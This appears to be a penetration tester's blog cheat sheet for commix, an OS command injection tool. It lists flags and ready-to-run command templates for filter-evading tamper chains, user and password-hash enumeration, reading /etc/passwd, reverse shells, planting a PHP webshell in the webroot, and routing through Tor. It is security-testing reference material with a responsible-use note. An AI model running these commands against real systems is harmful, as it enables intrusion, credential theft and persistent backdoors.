TechEarl

commix Cheat Sheet: Every Flag I Actually Use for OS Command Injection

A field-tested commix reference for OS command injection: targeting, request shaping, detection techniques, tamper scripts, enumeration, shell options, file operations, and evasion. Grouped by what you are actually trying to do.

Ishan Karunaratne⏱️ 6 min readUpdated
Share thisCopied
commix command reference cheat sheet covering targeting, detection techniques, tamper scripts, shell access, and file operations for OS command injection

commix is the tool I reach for whenever a parameter looks like it might end up inside a shell command on the server. It automates OS command injection the same way sqlmap automates SQL injection. Different bug class, similar workflow. This is the field reference for the flags that matter, grouped by the task I am trying to accomplish.

If you are new to commix, the commix tutorial walking through an attack against a vulnerable app is the right next stop. For the underlying bug class, read the OS command injection deep dive. The closely related argument injection writeup covers cases where commix is the wrong tool. If you are picking tools for a wider engagement, the best RCE tools list for 2026 covers the alternatives, and the remote code execution overview frames where command injection sits in the broader RCE landscape.

Quick reference

commix Command Reference

Every flag organised by task. Copy and adapt.

Target specification

-u 'https://target.example/ping?host=1.1.1.1'Single URL with query string. commix tests each parameter unless restricted.
-r request.txtUse a saved HTTP request file captured from DevTools or any intercepting proxy. Preserves method, headers, cookies, body.
--url-reloadReload the target URL after each injected payload. Use when the app caches responses aggressively.
-l burp.logParse a Burp or WebScarab proxy log and test every request in it.
-m urls.txtMultiple targets from a file, one URL per line.
-x sitemap.xmlParse a remote sitemap.xml file and test every URL in it.
--data='host=1.1.1.1&submit=ping'POST body. Forces method to POST. Mark the explicit injection point with INJECT_HERE if needed.
--cookie='session=abc; PHPSESSID=xyz'Send cookies. Required for authenticated endpoints. commix also tests cookie values as injection points.

Method and body shaping

--method=POSTForce the HTTP method. commix infers POST from --data, but set this explicitly for PUT, PATCH, DELETE.
--method=PUT --data='{"id":1}'Custom method with body. Common for REST APIs.
--headers='X-Forwarded-For: 127.0.0.1\nX-API-Key: foo'Add custom headers (\n separator). Header values are tested as injection points at higher levels.
-H 'Authorization: Bearer eyJ...'Single header (repeatable). Cleaner for one or two values.
--host=target.exampleOverride Host header. Useful for virtual-host routing.
--referer='https://target.example/'Set Referer. Some endpoints validate it.
--auth-type=Basic --auth-cred='user:pass'HTTP Basic, Digest, NTLM, or Bearer auth.
--data='{"cmd":"ls"}' --headers='Content-Type: application/json'JSON body. commix walks the JSON tree and tests string values.

Detection tuning

--level=1How thorough the test is. 1 (default) tests GET/POST params. 2 adds Cookie values. 3 adds HTTP headers including User-Agent and Referer.
--technique=cClassic (results-based, in-band). Output of the injected command lands in the HTTP response.
--technique=tTime-based blind. No response output, decide on response delay.
--technique=eEval-based. Server-side code-evaluation contexts (eval, exec, system in interpreted languages).
--technique=fFile-based semi-blind. Write command output to a webroot-accessible file and read it back.
--technique=bBoolean-based blind. Decide on a true/false response differential.
--technique=ctefCombine techniques. Default is ctef (classic, time-based, eval-based, file-based). Boolean-based is opt-in via b.
--prefix=';'Payload prefix. Use when commix's default boundary does not break out of the surrounding command.
--suffix='#'Payload suffix. Comments out the trailing portion of the command on the server.
--maxlen=10000Max length of output for results-based techniques. Bump it when commands return long results.
--time-sec=5Sleep duration for time-based payloads. Default is 1; bump to 5 on noisy networks.
--skip-emptySkip parameters that come in empty in the original request.

Tamper scripts

--tamper=space2ifsReplaces spaces with ${IFS}. Bypasses naive space-blocking filters on Unix targets.
--tamper=space2plusReplaces spaces with +. URL-encoded space alternative.
--tamper=space2htabReplaces spaces with horizontal tab. Some filters miss tabs.
--tamper=multiplespacesPads payload with extra spaces. Bypasses regex anchors that expect a single space.
--tamper=backticksWraps the command in backticks. Alternative subshell syntax.
--tamper=caretInserts caret (^) characters. Windows cmd.exe escape that breaks naive blacklists while staying valid.
--tamper=doublequotesWraps the command in double quotes. Bypasses some single-quote filters.
--tamper=singlequotesWraps the command in single quotes.
--tamper=hexencodeHex-encodes the payload via echo and xxd. Bypasses keyword blacklists.
--tamper=base64encodeBase64-encodes the payload and pipes through base64 -d on the server.
--tamper=nestedNests the command via $(printf ...). Bypasses simple substring matches.
--tamper=uninitializedvariableReplaces spaces with a Bash uninitialised variable expansion. Powerful against keyword filters.
--tamper=space2ifs,backticks,base64encodeChain multiple tampers. Order matters: encoding usually goes last.

Enumeration

--allPull every enumerable signal: current user, hostname, OS, system users, shell version, web app password file. Loud but complete.
--current-userUsername the web app runs as on the server.
--hostnameServer hostname.
--is-rootIs the current user root or Administrator? Determines what file paths are reachable.
--is-adminWindows equivalent of --is-root.
--sys-infoFull system info: kernel, distribution, architecture, uname -a equivalent.
--usersEnumerate system users (/etc/passwd parsing on Unix, net user on Windows).
--passwordsAttempt to pull password hashes. Needs root/Administrator.
--ps-versionPowerShell version on Windows targets. Useful before reaching for PS-specific payloads.

Shell access

--os-cmd='whoami'Run a single OS command on the target. Output returns inline.
--os-shellInteractive pseudo-shell. Each line is a fresh injected request, but it feels like a shell. Most common follow-on after confirming injection.
--reverse-tcpSet up a reverse-shell helper. Prompts for LHOST/LPORT and offers payloads (Netcat, Bash, PHP, Python, Perl, Ruby, Windows variants).
--bind-tcpInverse direction: target listens, attacker connects in. Useful when the target has outbound egress filtering.
--msf-path=/opt/metasploit-frameworkPath to a local Metasploit install. Lets --reverse-tcp generate Meterpreter payloads and hand off to msfconsole.
--alter-shell='Python'Force a specific shell language for the payload (Python, Perl, Ruby, PHP, Bash, Netcat).
--ignore-sessionSkip the cached session for this target. Re-runs detection.
--flush-sessionDelete the cached session entirely. Equivalent to starting from scratch.

File operations

--file-read=/etc/passwdRead a file from the target filesystem. Wraps cat/type via the confirmed injection.
--file-write=local-shell.php --file-dest=/var/www/html/s.phpWrite a local file to a server path. Webroot writes typically lead to a permanent webshell.
--file-upload=local.tar.gz --file-dest=/tmp/payload.tar.gzUpload a local file to the server via the injection. Larger files than --file-write handles cleanly.
--web-root=/var/www/htmlHint commix at the document root. Speeds up file-based blind technique.
--backticksForce backtick subshell syntax for the file operation. Use when $(...) is filtered.

Evasion and transport

--random-agentPick a random User-Agent string per session. The literal commix default UA is fingerprinted by most WAFs.
--user-agent='Mozilla/5.0 ...'Override the User-Agent with a specific browser string.
--mobileMimic a smartphone User-Agent. Some apps serve a different (often weaker) endpoint to mobile clients.
--proxy='http://127.0.0.1:8080'Route through a proxy. Burp's default port for traffic inspection.
--proxy-cred='user:pass'Credentials for the upstream proxy.
--torRoute through Tor. Requires a local SOCKS service (default 127.0.0.1:9050).
--tor-port=9050Override Tor SOCKS port.
--check-torVerify Tor is actually being used before testing. DNS leaks are silent otherwise.
--delay=2Seconds between requests. Slow down to dodge rate limits and look more human.
--timeout=30Per-request timeout in seconds.
--retries=3Retries on timeout or connection error.
--skip-wafSkip the heuristic WAF detection step. Faster on known-WAF targets.

Session, output, and misc

--batchNon-interactive: take all defaults. Required for CI and scripted use.
-v 3Verbosity 0-4. 3 shows the injected payloads; 4 shows raw HTTP.
--output-dir=./outWhere commix saves session, log, and dump files. Default is .output/ relative to the current working directory.
--purgeWipe commix's local cache directory. Useful after a long engagement.
--offlineSkip the update check on startup. Faster cold start in air-gapped labs.
--dependenciesCheck which optional Python deps are installed (and which features they unlock).
--charset=GET,POST,CookieRestrict which input vectors get tested. Cuts noise on a known-injection-point target.

commix vs sqlmap (when to reach for which)

These two tools look similar at a distance and the flag shapes echo each other on purpose: same --level, --technique, --tamper, --os-shell, -r req.txt, --batch conventions. They solve different problems though, and reaching for the wrong one wastes hours.

commixsqlmap
Bug classOS command injectionSQL injection
What it exploitsUnsanitised input concatenated into a shell command on the serverUnsanitised input concatenated into a SQL query
Typical sinksystem(), exec(), popen(), os.system(), backticks, shell-out helpersmysql_query(), prepared statements built by string concat, ORM raw() calls
What you get outDirect OS shell on the server (already RCE)Data extraction; OS shell only if the DB user has FILE/UDF privileges
Symptoms in the appPing form, lookup utility, file-name parameter, image-converter, network-tool front-endLogin form, search, product listing, anything reading rows back from a DB
Default destructivenessLower than people assume: detection probes use harmless commands like echo and sleepHigher: --risk=3 payloads can UPDATE/OR-trigger writes
When in doubtIf the parameter ends up in a shell, commix. If it ends up in a query, sqlmap.Same rule, inverted.

If a parameter is being passed into a SQL query and you point commix at it, you will burn a lot of requests for nothing. If it is being shelled out and you point sqlmap at it, same outcome. Identify the sink first (response timing, error strings, the kind of utility the page exposes), then pick the tool.

What req.txt looks like (and how to grab it from your browser)

req.txt is a raw HTTP request file: method line, headers, blank line, body. Most of my commix runs use -r req.txt because it carries the entire request shape without retyping. The format and capture path are identical to the one documented in the sqlmap cheat sheet (DevTools Network tab, save as HAR, or copy each header into a text file). commix accepts the same file format with no changes. The only commix-specific note is that commix does not have a HAR loader, so for commix specifically you do want a real req.txt rather than .har.

Workflow templates

A few command lines I use as starting points and adapt from. Edit the values once and every example below updates.

Try it with your own values

Tune the common flags once. Every command below reads from this. Out-of-range values get a red border. Level 3 tests every header which is loud; raise it only when low levels have already failed.

Simplest possible probe, just a URL with a query string. Good for a first sanity check on a vulnerable lookup form:

bash
commix -u ':target_url' --batch :ua --level=:level --technique=:technique

POST form, no req.txt needed. commix infers POST from --data:

bash
commix -u 'https://target.example/ping' \
     --data='host=1.1.1.1&submit=ping' \
     --batch :ua --level=:level --technique=:technique

PUT or JSON API, force the method and content-type:

bash
commix -u 'https://api.target.example/v1/jobs' \
     --method=PUT \
     --headers='Content-Type: application/json' \
     --data='{"name":"test","cmd":"echo hi"}' \
     --batch :ua --level=:level --technique=:technique

First pass against a captured request, light touch, defaults, see if anything obvious surfaces:

bash
commix -r req.txt --batch :ua --level=:level --technique=:technique

Confirmed injection, drop into a pseudo-shell:

bash
commix -r req.txt --batch :ua --os-shell --technique=:technique

Reverse shell back to your listener. commix prompts for LHOST, LPORT, and a payload language:

bash
commix -r req.txt --batch :ua --reverse-tcp --technique=:technique

Behind a WAF, slow and quiet, tamper chain layered on:

bash
commix -r req.txt --batch :ua --delay=:delay --timeout=:timeout \
     --tamper=space2ifs,backticks,base64encode --technique=t

Through Tor, paranoid mode:

bash
commix -r req.txt --batch --tor --check-tor :ua \
     --delay=:delay --timeout=:timeout --technique=:technique

Once injection is confirmed, the typical enumeration sequence:

bash
commix -r req.txt --batch --current-user
commix -r req.txt --batch --hostname --sys-info
commix -r req.txt --batch --is-root --users
commix -r req.txt --batch --file-read=/etc/passwd

Write a PHP webshell into the document root, then call it directly in the browser:

bash
commix -r req.txt --batch \
       --file-write=local-shell.php \
       --file-dest=/var/www/html/s.php \
       --web-root=/var/www/html

Flags I almost never use

For completeness, a short list of flags that exist but rarely earn their keep:

  • --smart, claims to skip non-injectable parameters early. In practice it skips real injections too.
  • --check-internet, adds round trips. If your connection is broken, you will know.
  • --purge, only useful at the very end of an engagement to wipe local artefacts.

A note on responsible use

Every flag above is dual use. The same --os-shell that gives you a foothold on a production server is the one I run against my own lab targets fifty times a week. Use these against systems you own or are explicitly authorised to test. The authorisation block at the top is not decorative, and the legal framing in the OS command injection deep dive covers the rest.

Sources

Authoritative references this article was fact-checked against.

TagscommixOS Command InjectionCheat SheetPenetration TestingSecurityRCE

Found this useful? Pass it on.

Copied

Ishan Karunaratne

Tech Architect · Software Engineer · AI/DevOps

Tech architect and software engineer with 20+ years building software, Linux systems, and DevOps infrastructure, and lately working AI into the stack. Currently Chief Technology Officer at a healthcare tech startup, which is where most of these field notes come from.

Keep reading

Related posts

Dalfox Cheat Sheet: Every Flag I Actually Use

A field-tested Dalfox v3 reference: target specification, detection tuning, parameter mining, blind XSS callbacks, evasion, pipeline patterns, and output shaping. Updated for the v3 Rust rewrite that consolidates everything under `dalfox scan`.

LFImap Cheat Sheet: Every Flag I Actually Use

A field-tested LFImap reference: target selection, traversal wordlists, PHP wrappers (filter/input/data/expect/file), command injection, RFI, log/proxy/cookie shaping, second-order requests, and the `PWN` placeholder. Grounded in the real argparse surface.

sqlmap Cheat Sheet: Every Flag I Actually Use

A field-tested sqlmap reference: target specification, request shaping, detection tuning, DBMS fingerprinting, enumeration, dumping, file system access, OS command execution, evasion, and tamper scripts. Grouped by what you are actually trying to do.